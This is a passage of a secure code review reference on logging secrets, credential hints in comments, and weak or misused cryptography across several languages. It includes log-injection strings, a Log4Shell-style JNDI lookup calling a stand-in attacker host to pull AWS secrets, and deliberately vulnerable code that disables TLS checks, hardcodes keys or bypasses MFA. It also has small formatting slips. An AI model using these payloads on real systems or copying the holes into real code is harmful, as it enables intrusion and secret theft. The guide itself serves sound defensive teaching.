log.info("token={}", accessToken);  
log.debug("request {}", request.toString());  
e.printStackTrace(); // stderr captured by log agents
```

Log4j/SLF4J MDC with full Authorization header; Spring CommonsRequestLoggingFilter without masking.

C

```
_logger.LogInformation("Password {Pwd}", password);
_logger.LogDebug("Request {@Request}", request);
```

Serilog destructuring of entire request DTOs; ILogger with connection strings in messages.

JavaScript

```
console.log("auth", req.headers.authorization, req.body);
logger.info({ headers: req.headers, body: req.body });
```

Winston/Pino serializers that pass through req unchanged.

Go

```
log.Printf("login user=%s pass=%s", user, pass)
log.Printf("req=%+v", r) // may dump Authorization header
```

Access and infrastructure logs

```
# nginx - full URI with secrets if clients use GET login
GET /login?password=secret HTTP/1.1
```

Vulnerable Examples in Other Languages

Java

```
public void login(String username, String password) {
    logger.info("Login attempt user={} password={}", username, password);
    boolean ok = authService.authenticate(username, password);
    logger.info("Login result user={} success={}", username, ok);
}

@ExceptionHandler(Exception.class)
public ResponseEntity<String> handleError(Exception ex, HttpServletRequest req) {
    logger.error("request failed uri={} query={} body={}",
        req.getRequestURI(), req.getQueryString(), readBody(req), ex);
    return ResponseEntity.status(500).body(ex.getMessage());
}
```

C

```
[HttpPost("pay")]
public IActionResult Pay([FromBody] PaymentRequest req)
{
    _logger.LogDebug("charge payload {@Card}", req.Card);
    return Ok(_billing.Charge(req));
}

[HttpGet("admin/sync")]
public IActionResult Sync()
{
    _logger.LogInformation("API call Authorization: {Auth}",
        Request.Headers["Authorization"]);
    return Ok(_sync.Run());
}
```

Go

```
func reset(w http.ResponseWriter, r *http.Request) {
    token := generateToken()
    log.Printf("issued reset token=%s for %s", token, r.FormValue("email"))
    mailer.SendReset(r.FormValue("email"), token)
}

func pay(w http.ResponseWriter, r *http.Request) {
    var payload map[string]interface{}
    json.NewDecoder(r.Body).Decode(&payload)
    log.Printf("charge request=%+v", payload) // may include PAN and CVV
    processPayment(payload)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Log event metadata, not secrets. Use filters to redact sensitive keys before emit.

```

import logging
import re

SENSITIVE_KEYS = re.compile(r"(password|token|secret|authorization|cvv|pan)", re.I)

class RedactFilter(logging.Filter):
    def filter(self, record):
        if isinstance(record.msg, str):
            record.msg = SENSITIVE_KEYS.sub("[REDACTED]", record.msg)
        return True

@app.post("/pay")
def pay():
    payload = request.json
    current_app.logger.info(
        "charge_attempt user_id=%s amount=%s result=pending",
        session.get("user_id"),
        payload.get("amount"),
    )
    return charge(payload)

```

```

# Register filter on the app logger
logging.getLogger("werkzeug").addFilter(RedactFilter())

```

Important: Never log `request.data`, `request.form`, or full headers on authentication routes.

Java

Use structured logging with fixed fields. Never pass raw passwords to the logger.

```

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.slf4j.MDC;

private static final Logger log = LoggerFactory.getLogger(AuthService.class);

public void login(String username, String password) {
    MDC.put("event", "LOGIN_ATTEMPT");
    MDC.put("username", username);
    boolean ok = authenticate(username, password);
    log.info("login result={}", ok ? "SUCCESS" : "FAILURE");
    MDC.clear();
}

```

C

Use explicit log templates. Do not pass raw header dictionaries.

```
_logger.LogInformation(
    "Login attempt for user {UserId} result {Result}",
    userId,
    success ? "Success" : "Failure");
```

```
// Serilog destructuring policy example
Log.Logger = new LoggerConfiguration()
    .Destructure.ByTransforming<LoginRequest>(r => new { r.Username })
    .CreateLogger();
```

Go

Use `slog` with an allowlist of attributes. Implement `LogValuer` for types that redact secrets.

```
import "log/slog"

func handleLogin(w http.ResponseWriter, r *http.Request) {
    user := r.FormValue("user")
    ok := authenticate(user, r.FormValue("pass"))
    slog.Info("login_attempt",
        slog.String("user", user),
        slog.String("result", map[bool]string{true: "success", false: "failure"}[ok]),
    )
}
```

```
type redactedString string

func (s redactedString) LogValue() slog.Value {
    return slog.StringValue("[REDACTED]")
}
```

Secure logging {: #secure-logging }

From former 4-40-review-secure-logging.md. **Guiding chapter section:** [4.7 - Review Information Disclosure and Logging § Secure logging](#).

4.40 Code Reference — Review Secure Logging

Attack Payloads

Use these in authorized tests when user input appears in log messages or when reviewing log aggregation exposure.

Pattern 1: Log injection (CRLF / forged lines)

```
username=admin%0aINFO User admin logged out successfully
username=legit%0d%0aERROR Security audit: privilege escalation approved
event=checkout%0a2024-06-01 WARN refund approved txn=99999 amount=50000
```

Forged newlines may confuse operators or SIEM parsers that treat each line as a separate event.

Pattern 2: Log forging via Unicode / homoglyphs

```
username=admin # Cyrillic 'a' – looks like "admin" in log review
username=\u001b[31madmin # ANSI escape in terminals that render color
```

Pattern 3: Sensitive data in query strings (Referer leakage)

```
GET /login?username=victim&password=Secret123
Referer: https://app.example/dashboard?token=eyJhbG...
```

Even when not logged by the app, proxies and analytics may capture query parameters.

Pattern 4: Verbose exception logging

```
# Trigger validation error; stack trace includes:
# connection string, API key in local variable dump, Authorization header
```

Pattern 5: Log4Shell-style JNDI (legacy)

```
${jndi:ldap://attacker.example/a}
${env:AWS_SECRET_ACCESS_KEY}
```

Review JNDI lookup patterns in Java logging configuration for legacy deployments.

Language-Specific Sinks and Dangerous APIs

Python

```
app.logger.info("Login user=%s password=%s", user, password)
logger.debug("Request: %s", request) # entire Flask/Django request
logger.info(f"Token: {token}")
structlog.get_logger().info("auth", authorization=headers["Authorization"])
print(request.headers) # stdout captured by container logs
logging.basicConfig(level=logging.DEBUG) # in production settings
```

Also review: urllib3 debug, SQLAlchemy echo=True, Celery task logs with args.

Java

```
logger.info("Login user={} password={}", username, password);
log.debug("JWT {}", jwtToken);
System.out.println("DB URL: " + jdbcUrl);
log.error("Failed payment", exception); // exception message contains PAN
MDC.put("ssn", ssn); // mapped diagnostic context in every line
org.apache.logging.log4j.core.lookup.JndiLookup // legacy config
```

C

```
_logger.LogInformation("Password {Password}", password);
_logger.LogDebug("Request {@Request}", request); // destructures all properties
Console.WriteLine($"Connection: {connectionString}");
_logger.LogError(ex, "Payment failed for {Pan}", cardNumber);
Serilog destructuring of sensitive objects without masking
```

Go

```
log.Printf("login user=%s password=%s", user, pass)
log.Printf("auth header=%s", r.Header.Get("Authorization"))
fmt.Println(req) // httputil.DumpRequest output
zap.String("token", token)
log.SetFlags(log.LstdFlags | log.Lshortfile) // with secrets in messages
```

JavaScript

```
console.log('User login:', { username, password });
console.log('Headers:', req.headers);
logger.info(`Stripe key: ${process.env.STRIPE_SECRET}`);
debug('session', req.session); // debug package in production
```


Shell / infrastructure

```
export DATABASE_URL="postgres://user:pass@host/db" # visible in /proc, docker inspect
kubectl logs deployment/api # env vars printed at startup
```

Vulnerable Examples in Other Languages

Java

```
logger.info("Login attempt user={} password={}", username, password);

public void login(String username, String password) {
    if (authenticate(username, password)) {
        String sessionId = createSession(username);
        logger.info("Login ok session={}", sessionId);
    }
}

logger.info("Reset link for {}: {}", email, resetToken);
logger.error("DB connection failed: {}", jdbcUrlWithCredentials);
```

C

```
_logger.LogInformation("Login attempt user={User} password={Password}", username, password);

_logger.LogInformation("User {UserId} authenticated with token {Token}", userId, accessToken);
_logger.LogInformation("Reset link for {Email}: {Token}", email, resetToken);
_logger.LogError(ex, "Payment failed for card {Pan}", payment.CardNumber);
```

Go

```
func login(w http.ResponseWriter, r *http.Request) {
    user := r.FormValue("username")
    pass := r.FormValue("password")
    log.Printf("login attempt user=%s password=%s", user, pass)
    if authenticate(user, pass) {
        sid := createSession(user)
        log.Printf("login ok session=%s auth=%s", sid, r.Header.Get("Authorization"))
    }
}

func reset(w http.ResponseWriter, r *http.Request) {
    token := issueResetToken(r.FormValue("email"))
    log.Printf("issued reset token=%s for %s", token, r.FormValue("email"))
}
```

Fix: Safer Patterns and Libraries to Use

Python

Log security events with correlation IDs, not credentials. Redact sensitive keys in structured logs.

```
import logging
import structlog

def redact_sensitive(_, __, event_dict):
    for key in ("password", "token", "authorization", "cookie"):
        if key in event_dict:
            event_dict[key] = "[REDACTED]"
    return event_dict

structlog.configure(processors=[redact_sensitive, structlog.processors.JSONRenderer()])
log = structlog.get_logger()

@app.route("/login", methods=["POST"])
def login():
    username = request.form["username"]
    password = request.form["password"]
    if authenticate(username, password):
        log.info("login_success", user_id=user_id_for(username), event="LOGIN_SUCCESS")
        return redirect("/dashboard")
    log.warning("login_failure", username=username, event="LOGIN_FAILURE")
    return "failed", 401
```

Set LOG_LEVEL=INFO in production. See [Python logging](#) and [structlog](#).

Java

Use parameterized logging without secrets. Add redaction filters for known patterns.

```
logger.info("Login attempt user={} outcome={}", username, success ? "SUCCESS" : "FAILURE");

public class RedactFilter extends Filter<ILoggingEvent> {
    @Override
    public FilterReply decide(ILoggingEvent event) {
        if (event.getFormattedMessage().contains("password=")) {
            return FilterReply.DENY;
        }
        return FilterReply.NEUTRAL;
    }
}
```

Align event coverage with [OWASP Application Security Verification Standard](#) logging requirements.

C

Use ILogger with explicit templates. Mask sensitive properties in Serilog destructuring.

```
_logger.LogInformation("Login {Outcome} for user {UserId}", outcome, userId);

Log.Logger = new LoggerConfiguration()
    .Destructure.ByTransforming<PaymentInfo>(p => new { p.TransactionId, Pan = "[REDACTED]" })
    .CreateLogger();
```

Configure [Application Insights telemetry filters](#) to drop Authorization headers.

Go

Log user IDs and correlation IDs, not raw Authorization headers or passwords.

```
logger.Info("login",
    zap.String("event", "LOGIN_SUCCESS"),
    zap.String("user_id", userID),
    zap.String("correlation_id", correlationID),
)

func auditAdmin(action, actor string) {
    auditLogger.Info(action,
        zap.String("actor", actor),
        zap.Time("at", time.Now().UTC()),
    )
}
```

Never dump full requests with [httputil.DumpRequest](#) in production middleware.

Sensitive code comments {: #comments }

From former 4-32-review-sensitive-code-comments.md. **Guiding chapter section:** [4.7 - Review Information Disclosure and Logging § Sensitive code comments](#).

4.32 Code Reference — Review Sensitive Code Comments

Attack Payloads

Use repository search and page-source review—these are disclosure abuse scenarios, not network payloads.

Pattern 1: Credentials in source comments

```
# FIXME: staging webhook uses shared secret 'wh_staging_4b7n' until vault is wired
# Datadog key for on-call dashboard: dd_api_EXAMPLE_PLACEHOLDER_xxxxxxx
```

Pattern 2: Authentication bypass hints

```
// HACK: set userId=0 in query to skip billing check
// For QA only: header X-Debug: bypass-mfa
```

Pattern 3: Internal topology in comments

```
# Connects to prod-db.internal.corp:5432 / db=payments
<!-- Legacy admin: https://10.0.0.5:8443/console -->
```

Pattern 4: HTML comments visible in browser

```
<!-- build 2024-03-01 internal token: BUILD_SECRET_abc -->
```

View-source or cached pages expose these to unauthenticated users.

Pattern 5: Commented-out security controls

```
// if (!User.IsInRole("Admin")) return Forbid();
// ValidateSignature(payload); // disabled for demo
```

Pattern 6: Javadoc and docstrings shipped to clients

```
@param apiSecret the shared secret (currently "hunter2")
```

Generated API docs may publish comment text.

Language-Specific Sinks and Dangerous APIs

Search comments and doc blocks—these are not runtime sinks but disclosure surfaces that travel with builds.

Python

```
"""Authenticate with service key sk_live_xxx."""  
# password = os.environ.get("PWD", "default-secret")
```

Module docstrings, # noqa blocks, Sphinx-generated HTML.

Java

```
/** Test user: admin / Passw0rd! */  
// @deprecated use backdoor account "support" with pin 0000
```

Javadoc published to Maven sites; // in shipped JSP source.

C

```
/// <summary>Uses HMAC key: supersecretkey</summary>  
// TODO: re-enable [Authorize] after demo
```

XML doc comments in IntelliSense and NuGet packages.

JavaScript

```
// STRIPE_SECRET=sk_live_...  
/* FIXME: remove auth check for /api/internal */
```

Bundled source maps may retain comments; /*! license blocks with keys.

HTML / templates

```
<!-- admin:admin@internal.vpn -->
```

Thymeleaf <!--/* ... */-->, JSP comments in rendered output.

Go

```
// dbURL := "postgres://user:pass@host/db"
```

Godoc pages from exported packages.

Search patterns for review

```
password|passwd|secret|api[_-]?key|token|bearer|sk_live|AKIA  
TODO|FIXME|HACK|XXX|backdoor|bypass|disable.*auth
```

Vulnerable Examples in Other Languages

Java

```
// TEMP: use master key 7f3a9c... until KMS integration ships  
private static final String ENCRYPTION_KEY = loadFromConfig();  
  
/**  
 * Admin login for QA – default password is still adminPass, change before prod.  
 */  
public boolean verifyAdmin(User user, char[] password) {  
    return adminAuth.verify(user, password);  
}
```

C

```
// Default service account: svc_reporting / R3p0rt!ng2023 – rotate quarterly  
var connectionString = Configuration["Reporting:ConnectionString"];  
  
// HACK: disable MFA check for demo tenant acct-9912 until SSO is wired  
if (tenantId == "acct-9912") {  
    return SignInWithoutMfa(user);  
}
```

HTML

```
<!-- TODO: Change the admin password from the weak password 'adminPass' to something stronger! -->  
<form action="/auth/login" method="POST">  
  <input type="text" name="username" />  
  <input type="password" name="password" />  
</form>  
  
<!-- Internal API: https://admin.internal.corp.local:8443/backdoor/status -->  
<footer>Support: call NOC at ext. 4401 for emergency bypass</footer>
```

Fix: Safer Patterns and Libraries to Use

Python

Load secrets from environment or a secrets backend. Document rotation in runbooks, not comments.

```
import os

def verify_admin(user, password):
    if not user.is_admin:
        return False
    return check_password_hash(user.password_hash, password)

def get_encryption_key() -> bytes:
    # Reference config key name only – value comes from the environment
    return os.environ["APP_ENCRYPTION_KEY"].encode()
```

```
# Pre-commit: detect secret-like strings in comments (example pattern)
# Use gitleaks or detect-secrets in CI – not inline credential hints
```

Important: Docstrings should name configuration keys, not literal secret values.

Java

Store credentials in Vault or environment injection. Keep Javadoc behavioral, not operational.

```
/**
 * Validates admin credentials against the configured identity store.
 * Credentials are loaded from the secret manager at startup – not from source comments.
 */
public boolean verifyAdmin(User user, char[] password) {
    return passwordService.verify(user, password) && user.isAdmin();
}
```

```
<!-- Login form – no credential hints in HTML comments -->
<form action="<c:url value='/auth/login' />" method="POST">
```

C

Use User Secrets locally and Key Vault (or equivalent) in production.

```
// Connection string key only – value from configuration provider / Key Vault
var connectionString = Configuration["Reporting:ConnectionString"];
```

```
// Local development: dotnet user-secrets set "Reporting:ConnectionString" "..."  
// Production: Azure Key Vault reference in appsettings – not in comments
```

Go

Read config from environment. Document operations outside the codebase.

```
func newHTTPClient() *http.Client {  
    return &http.Client{  
        Transport: &http.Transport{  
            TLSClientConfig: &tls.Config{  
                MinVersion: tls.VersionTLS12,  
                // Certificate loaded from configured path – verify in deployment runbook  
            },  
        },  
    }  
}
```


4.8 Code Reference — Review Cryptography in Application Code

Cryptographic implementation { : #implementation }

From former 4-13-review-cryptographic-implementation.md. **Guiding chapter section:** [4.8 - Review Cryptography in Application Code § Cryptographic implementation](#).

4.13 Code Reference — Review Cryptographic Implementation

Abuse Scenarios

Use these patterns in authorized tests and code search. They are not injection strings—they show how weak crypto choices fail in practice.

Pattern 1: Weak password hashing (MD5, SHA1, unsalted SHA-256)

```
createApiKey("billing-bot", "s3cr3t-k3y")
# Stored: 5ebe2294ecd0e0f08eabebfd92c7820cd8881592 (SHA1 – crackable offline)
```

Pattern 2: TLS verification disabled (verify=False)

```
httpx.get("https://payments.example/webhook", verify=False)
# MITM can replace response or steal HMAC secrets in transit
```

Pattern 3: ECB mode and static IV (pattern leakage)

```
# Two blocks of identical PAN digits produce identical ciphertext blocks
encrypt_ecb(b"4111111111111111") # card numbers with repeated digits leak structure
```

Pattern 4: Hardcoded or default keys in source

```
WEBHOOK_SIGNING_KEY = "dev-signing-key"
JWT signing with staging secret shipped to production
```

Pattern 5: Custom XOR or “obfuscation” treated as encryption

```
def mask_pan(p): return ''.join(chr(ord(c) ^ 0x42) for c in p)
# Trivially reversible; not a substitute for AES-GCM or tokenization
```

Language-Specific Sinks and Dangerous APIs

Search for these symbols when reviewing crypto, TLS, and secret handling.

Python

```
import hashlib, ssl, requests
hashlib.md5(password.encode()).hexdigest()
hashlib.sha1(data).digest()
from Crypto.Cipher import AES
AES.new(key, AES.MODE_ECB).encrypt(plain)
requests.get(url, verify=False)
ssl._create_unverified_context()
```

Java

```
MessageDigest.getInstance("MD5").digest(password.getBytes());
Cipher.getInstance("AES/ECB/PKCS5Padding");
SSLContext.getInstance("SSL").init(null, trustAllCerts, null);
HttpsURLConnection.setDefaultHostnameVerifier((h, s) -> true);
```

C

```
MD5.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
Aes.Create(); aes.Mode = CipherMode.ECB;
new HttpClient(new HttpClientHandler { ServerCertificateCustomValidationCallback = (_, _, _, _)
=> true });
```

JavaScript (Node.js)

```
const crypto = require('crypto');
crypto.createHash('md5').update(password).digest('hex');
crypto.createCipheriv('aes-128-ecb', key, null);
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
```

Go

```
md5.Sum([]byte(password))
aes.NewCipher(key) // used in ECB-style loops without GCM
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
```

C

```
MD5(password, len, digest);
EVP_aes_128_ecb();
SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);
```

Vulnerable Examples in Other Languages

Java

```
public class WebhookClient {
    private static final String HMAC_SECRET = "wh_live_abc123";

    public String post(String url, byte[] body) throws Exception {
        TrustManager[] trustAll = { new X509TrustManager() {
            public void checkClientTrusted(X509Certificate[] c, String a) {}
            public void checkServerTrusted(X509Certificate[] c, String a) {}
            public X509Certificate[] getAcceptedIssuers() { return new X509Certificate[0]; }
        }};
        SSLContext ctx = SSLContext.getInstance("TLS");
        ctx.init(null, trustAll, new SecureRandom());
        HTTPSURLConnection conn = (HTTPSURLConnection) new URL(url).openConnection();
        conn.setSSLSocketFactory(ctx.getSocketFactory());
        conn.setRequestProperty("X-Signature", hmacSha1(body, HMAC_SECRET));
        return new String(conn.getInputStream().readAllBytes());
    }
}
```

C

```
public string TokenizePan(string pan)
{
    var key = Encoding.UTF8.GetBytes("Static16ByteKey!");
    using var aes = Aes.Create();
    aes.Key = key;
    aes.Mode = CipherMode.ECB;
    aes.Padding = PaddingMode.PKCS7;
    using var enc = aes.CreateEncryptor();
    return Convert.ToBase64String(enc.TransformFinalBlock(
        Encoding.UTF8.GetBytes(pan), 0, pan.Length));
}
```

Go

```
func hashApiSecret(secret string) string {
    h := md5.Sum([]byte(secret))
    return hex.EncodeToString(h[:])
}

func postWebhook(url string, body []byte) ([]byte, error) {
    tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}
    client := &http.Client{Transport: tr}
    req, _ := http.NewRequest("POST", url, bytes.NewReader(body))
    req.Header.Set("X-Signature", signHmacMD5(body, os.Getenv("DEV_HMAC")))
    resp, err := client.Do(req)
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()
    return io.ReadAll(resp.Body)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Load secrets from the environment and fail fast when missing. Use slow password hashes and authenticated encryption for application-level secrets at rest.

```
import os
from argon2 import PasswordHasher
from cryptography.fernet import Fernet
import httpx

ph = PasswordHasher()
FERNET_KEY = os.environ["TOKEN_VAULT_KEY"].encode()
fernet = Fernet(FERNET_KEY)

def create_api_key(client_name, secret):
    API_KEY_STORE[client_name] = ph.hash(secret)

def store_payment_token(user_id, pan):
    token = fernet.encrypt(pan.encode())
    db.execute("UPDATE users SET pan_token = ? WHERE id = ?", (token, user_id))

def deliver_webhook(url, payload):
    return httpx.post(url, content=payload, verify=True, timeout=10).text
```

Important: Never commit production keys. Use `ssl.create_default_context()` for custom TLS clients and enforce TLS 1.2+.

Java

Use platform TLS defaults and vetted password encoders. Prefer AEAD modes with random IVs.

```
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import javax.crypto.Cipher;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;

public byte[] encryptField(byte[] plaintext, byte[] key) throws Exception {
    byte[] iv = new byte[12];
    new SecureRandom().nextBytes(iv);
    Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
    cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key, "AES"), new GCMParameterSpec(128,
    iv));
    byte[] ciphertext = cipher.doFinal(plaintext);
    // prepend IV for storage
    return ByteBuffer.allocate(iv.length + ciphertext.length).put(iv).put(ciphertext).array();
}

public String hashPassword(String raw) {
    return new BCryptPasswordEncoder().encode(raw);
}
```

Important: Load API keys from vault or environment. Do not disable certificate verification in production HTTP clients.

C

Use AesGcm with unique nonces and ASP.NET Identity or PBKDF2 for passwords.

```
public static string Protect(string plaintext, byte[] key)
{
    var nonce = RandomNumberGenerator.GetBytes(12);
    var plainBytes = Encoding.UTF8.GetBytes(plaintext);
    var cipher = new byte[plainBytes.Length];
    var tag = new byte[16];
    using var aes = new AesGcm(key, tagSizeInBytes: 16);
    aes.Encrypt(nonce, plainBytes, cipher, tag);
    return Convert.ToBase64String(nonce.Concat(tag).Concat(cipher).ToArray());
}

// ASP.NET Core Identity handles password hashing:
// await _userManager.CreateAsync(user, password);
```

Important: Inject connection strings and API keys from Azure Key Vault, AWS Secrets Manager, or configuration providers—not source code.

Go

Use bcrypt or Argon2 for passwords and GCM for application encryption. Keep TLS verification enabled.

```
import (
    "crypto/aes"
    "crypto/cipher"
    "crypto/rand"
    "golang.org/x/crypto/bcrypt"
)

func hashPassword(pw string) (string, error) {
    hash, err := bcrypt.GenerateFromPassword([]byte(pw), bcrypt.DefaultCost)
    return string(hash), err
}

func encryptField(key, plaintext []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }
    gcm, err := cipher.NewGCM(block)
    if err != nil {
        return nil, err
    }
    nonce := make([]byte, gcm.NonceSize())
    if _, err := rand.Read(nonce); err != nil {
        return nil, err
    }
    return gcm.Seal(nonce, nonce, plaintext, nil), nil
}
```

Important: Set `MinVersion: tls.VersionTLS12` on custom transports. Fetch secrets at runtime from Vault or cloud SDKs.

Non-standard crypto practices {: #non-standard }

From former 4-37-review-non-standard-crypto-practices.md. **Guiding chapter section:** [4.8 - Review Cryptography in Application Code § Non-standard crypto practices](#).

4.37 Code Reference — Review Non-Standard Crypto Practices

Attack Payloads

Use these in authorized offline tests against password hashes, tokens, and custom "encryption" helpers—not live brute-force against production without approval.

Pattern 1: Weak password hash cracking

```
# MD5('password') = 5f4dcc3b5aa765d61d8327deb882cf99
# SHA-1('password') = 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
# Rainbow tables and hashcat recover unsalted digests in seconds
```

Pattern 2: Predictable token guessing

```
# Token derived from Math.random(), time(), or sequential counters
session=5f4dcc3b5aa765d61d8327deb882cf99
session=1704067200
session=00000001, 00000002, ...
```

Pattern 3: ECB block manipulation

```
# Identical plaintext blocks produce identical ciphertext blocks
# Attacker may swap blocks or infer structure in repeated-field messages
```

Pattern 4: XOR key recovery (known plaintext)

```
# If attacker knows plaintext prefix (e.g. JSON {"role":})
# XOR ciphertext with known bytes to recover key bytes for that position
```

Pattern 5: Static IV / nonce reuse

```
# GCM nonce reuse with same key leaks authentication key and plaintext XOR
# Reused IV in CBC enables pattern analysis across messages
```

Language-Specific Sinks and Dangerous APIs

Python

```
hashlib.md5(password.encode()).hexdigest()
hashlib.sha1(password.encode()).hexdigest()
hashlib.sha256(password.encode()).hexdigest() # single round, no salt
random.random() # token generation
random.randint(0, 2**32)
from Crypto.Cipher import AES; AES.new(key, AES.MODE_ECB)
bytes(a ^ b for a, b in zip(data, key)) # custom XOR
Fernet(key) with hardcoded key in source
requests.get(url, verify=False)
urllib3.util.ssl_.create_urllib3_context() # custom context without verification
```

Also review: passlib misconfiguration, hmac.new with weak key, uuid.uuid4() mistaken for crypto-strength session IDs.

Java

```
MessageDigest.getInstance("MD5");
MessageDigest.getInstance("SHA-1");
Cipher.getInstance("DES/ECB/PKCS5Padding");
Cipher.getInstance("AES/ECB/PKCS5Padding");
new SecureRandom(); // not used – Math.random() for tokens instead
DigestUtils.md5Hex(password);
TrustManager that accepts all certificates
```

C

```
MD5.Create().ComputeHash(passwordBytes);
SHA256.Create().ComputeHash(passwordBytes); // no salt, no work factor
Aes.Create(); aes.Mode = CipherMode.ECB;
Random().Next() for session tokens
Guid.NewGuid() as auth token without additional entropy
ServicePointManager.ServerCertificateValidationCallback = (_, _, _, _) => true;
```

C

```
MD5(password, len, digest);
DES_encrypt(...);
rand() for session tokens;
srand(time(NULL));
XOR loop labeled "encrypt";
SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);
```


Go

```
md5.Sum([]byte(pw))
sha1.Sum([]byte(pw))
aes.NewCipher(key) // ECB-style manual loop
math/rand for tokens
crypto/tls.Config{InsecureSkipVerify: true}
```

JavaScript

```
crypto.createHash('md5').update(password).digest('hex');
Math.random().toString(36); // session token
CryptoJS.AES.encrypt(data, passphrase); // weak KDF defaults if misused
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
```

Vulnerable Examples in Other Languages

Java

```
public static String encryptPassword(String password) throws NoSuchAlgorithmException {
    MessageDigest md = MessageDigest.getInstance("MD5");
    return Base64.getEncoder().encodeToString(md.digest(password.getBytes()));
}

public static String obfuscate(String data, String key) {
    char[] out = new char[data.length()];
    for (int i = 0; i < data.length(); i++) {
        out[i] = (char) (data.charAt(i) ^ key.charAt(i % key.length()));
    }
    return new String(out);
}

public static String sessionToken() {
    return DigestUtils.md5Hex(String.valueOf(Math.random()));
}
```

C

```
public string HashPassword(string password)
{
    using var sha = SHA256.Create();
    return Convert.ToBase64String(sha.ComputeHash(Encoding.UTF8.GetBytes(password)));
}

public byte[] EncryptEcb(byte[] data, byte[] key)
{
    using var aes = Aes.Create();
    aes.Mode = CipherMode.ECB;
    using var enc = aes.CreateEncryptor(key, new byte[16]);
    return enc.TransformFinalBlock(data, 0, data.Length);
}

public string SessionToken() => Guid.NewGuid().ToString("N"); // not crypto-strength when misused
for auth tokens
```

C

```
#include <openssl/md5.h>
#include <time.h>

void hash_password(const char *password, char *out_hex) {
    unsigned char digest[MD5_DIGEST_LENGTH];
    MD5((unsigned char *)password, strlen(password), digest);
    /* single-round MD5, no salt or work factor */
}

void xor_encrypt(const char *data, const char *key, char *out) {
    for (size_t i = 0; data[i]; i++)
        out[i] = data[i] ^ key[i % strlen(key)];
}

char *session_token(void) {
    static char buf[32];
    snprintf(buf, sizeof(buf), "%ld", (long)time(NULL)); /* predictable */
    return buf;
}
```

Go

```
func hashPassword(pw string) string {
    h := sha1.Sum([]byte(pw))
    return hex.EncodeToString(h[:])
}

func encryptField(value, secret string) []byte {
    out := make([]byte, len(value))
    for i := 0; i < len(value); i++ {
        out[i] = value[i] ^ secret[i%len(secret)]
    }
    return out
}

func token() string {
    return fmt.Sprintf("%d", time.Now().UnixNano())
}
```

Fix: Safer Patterns and Libraries to Use

Python

Use adaptive password hashing and cryptographically secure tokens.

```
import secrets
import bcrypt

def hash_password(password: str) -> str:
    salt = bcrypt.gensalt(rounds=12)
    return bcrypt.hashpw(password.encode(), salt).decode()

def verify_password(password: str, stored_hash: str) -> bool:
    return bcrypt.checkpw(password.encode(), stored_hash.encode())

def make_session_token() -> str:
    return secrets.token_urlsafe(32)
```

For authenticated encryption, use [cryptography](#) Fernet or AES-GCM instead of manual XOR. See [Python secrets module](#).

Java

Use Spring Security Crypto or JCA with modern algorithms.

```
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;

private final BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12);

public String hashPassword(String password) {
    return encoder.encode(password);
}

public boolean verifyPassword(String raw, String stored) {
    return encoder.matches(raw, stored);
}
```

Generate IVs with `SecureRandom` and use `Cipher.getInstance("AES/GCM/NoPadding")`. See [Java Cryptography Architecture](#).

C

Use ASP.NET Core Identity password hasher or Argon2/PBKDF2 via framework APIs.

```
public string HashPassword(string password)
{
    return _passwordHasher.HashPassword(_user, password);
}

public byte[] EncryptAead(byte[] plaintext, byte[] key)
{
    var nonce = RandomNumberGenerator.GetBytes(12);
    var ciphertext = new byte[plaintext.Length];
    var tag = new byte[16];
    using var aes = new AesGcm(key, tag.Length);
    aes.Encrypt(nonce, plaintext, ciphertext, tag);
    return nonce.Concat(ciphertext).Concat(tag).ToArray();
}
```

See [RandomNumberGenerator](#) and [AesGcm](#).

Go

Use `bcrypt` or `argon2` for passwords and `crypto/rand` for tokens.

```
import (
    "golang.org/x/crypto/bcrypt"
    "crypto/rand"
    "encoding/base64"
)

func hashPassword(pw string) (string, error) {
    hash, err := bcrypt.GenerateFromPassword([]byte(pw), bcrypt.DefaultCost)
    return string(hash), err
}

func sessionToken() (string, error) {
    b := make([]byte, 32)
    if _, err := rand.Read(b); err != nil {
        return "", err
    }
    return base64.URLEncoding.EncodeToString(b), nil
}
```

See golang.org/x/crypto/bcrypt and [crypto/rand](https://golang.org/x/crypto/rand).

Encryption and decryption mistakes {: #enc-dec }

From former 4-39-review-encryption-decryption-mistakes.md. **Guiding chapter section:** [4.8 - Review Cryptography in Application Code § Encryption and decryption mistakes](#).

4.39 Code Reference — Review Encryption and Decryption Mistakes

Attack Payloads

Use these in authorized cryptographic review and lab testing—not against production decryption endpoints without approval.

Pattern 1: Padding oracle probing (CBC)

```
# Send modified ciphertext blocks; observe distinct error responses:
# "bad padding" vs "invalid format" vs HTTP 500 timing differences
# Each distinguishable response may leak one plaintext byte
```

Pattern 2: ECB pattern analysis

```
# Encrypt repeated 16-byte blocks; identical ciphertext blocks reveal structure
# Example: identical blocks in encrypted JSON with repeated keys
{"user":"admin","role":"admin"} # repeated "admin" blocks align in ECB
```

Pattern 3: GCM nonce reuse

```
# Reusing (key, nonce) pair with different plaintexts breaks GCM confidentiality
# Attackers XOR ciphertexts to derive plaintext XOR relationships
```

Pattern 4: Static IV exploitation

```
# Same IV + same key + different messages → deterministic ciphertext prefixes
# Enables equality leaks and some chosen-plaintext analysis
```

Pattern 5: Hardcoded key from source leak

```
# Fernet key committed in settings.py: FIELD_KEY = b'abc123xyz7890123456789012345678='
# Decrypt all historical field ciphertext after repo fork or leak
grep -r "FIELD_KEY" config/
```

Language-Specific Sinks and Dangerous APIs

Python

```
AES.new(KEY, AES.MODE_ECB)
